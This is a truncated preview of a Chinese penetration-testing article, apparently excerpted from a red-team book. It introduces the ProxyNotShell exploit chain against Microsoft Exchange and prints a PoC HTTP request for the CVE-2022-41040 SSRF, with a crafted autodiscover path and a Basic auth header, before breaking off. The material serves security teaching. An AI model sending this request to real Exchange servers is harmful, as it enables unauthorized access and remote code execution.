文章预览
点击星标， 即时接收最新推文 本文选自《内网安全攻防：红队之路》 在渗透测试过程，如果目标环境存在Exchange服务器，我们也需要测试是否存在已知的远程命令执行漏洞，这里首先介绍ProxyNotShell。 ProxyNotShell和之前的ProxyShell一样，也是将几个漏洞组合起来使用，分别为CVE-2022-41040和CVE-2022-41082。 ProxyNotShell利用链的第一个漏洞为CVE-2022-41040，该漏洞为Exchange Autodiscover前端中的一个无需认证的SSRF漏洞，攻击者可利用该漏洞以LocalSystem权限向后端的任意URL发送数据。下面为POC： GET /autodiscover/autodiscover.json?@zdi/PowerShell?serializationLevel=Full;ExchClientVer=15.2.922.7;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.17763.592 =autodiscover/autodiscover.json%3F@zdi HTTP/1.1 Host : 192.168.3.12 Authorization : Basic ZGF2ZTpQYXNzdzByZEAwMg== Connection : close ProxyNotShell利用链的第二个漏洞为CVE-20
………………………………
